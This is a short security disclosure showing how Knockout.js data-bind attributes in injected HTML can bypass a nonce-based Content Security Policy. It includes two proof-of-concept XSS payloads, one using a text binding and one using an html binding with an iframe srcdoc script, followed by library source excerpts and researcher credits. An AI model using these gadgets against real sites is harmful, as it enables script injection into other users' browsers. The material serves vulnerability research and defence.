Knockout is a JavaScript MVVM (a modern variant of MVC) library that makes it easier to create rich, desktop-like user interfaces with JavaScript and HTML. It uses observers to make your UI automatically stay in sync with an underlying data model, along with a powerful and extensible set of declarative bindings to enable productive development.
A ko.applyBindings
call is required. This example requires the unsafe-eval
CSP directive.
<!-- user input -->
<x data-bind="text: alert(document.domain)"></x>
<script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/knockout/3.5.1/knockout-latest.js"></script>
<script nonce="secret">
ko.applyBindings();
</script>
It is also possible to insert HTML using the html binding (this one won’t work without an unsafe-inline
CSP directive).
The full list of default available binding can be find here.
<!-- user input -->
<div data-bind="html:'<iframe srcdoc="<script>alert(1)</script>"></iframe>'"></div>
<script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/knockout/3.5.1/knockout-latest.js"></script>
<script nonce="secret">
ko.applyBindings();
</script>
Root cause:
var defaultBindingAttributeName = "data-bind";
Source: https://github.com/knockout/knockout/blob/master/src/binding/defaultBindings/text.js
ko.bindingHandlers['text'] = {
'init': function() {
// Prevent binding on the dynamically-injected text node (as developers are unlikely to expect that, and it has security implications).
// It should also make things faster, as we no longer have to consider whether the text node might be bindable.
return { 'controlsDescendantBindings': true };
},
'update': function (element, valueAccessor) {
ko.utils.setTextContent(element, valueAccessor());
}
};
ko.virtualElements.allowedBindings['text'] = true;
Source: https://github.com/knockout/knockout/blob/master/src/binding/defaultBindings/html.js
ko.bindingHandlers['html'] = {
'init': function() {
// Prevent binding on the dynamically-injected HTML (as developers are unlikely to expect that, and it has security implications)
return { 'controlsDescendantBindings': true };
},
'update': function (element, valueAccessor) {
// setHtml will unwrap the value if needed
ko.utils.setHtml(element, valueAccessor());
}
};
Related links:
Found by @slekies, @kkotowicz, @sirdarckcat.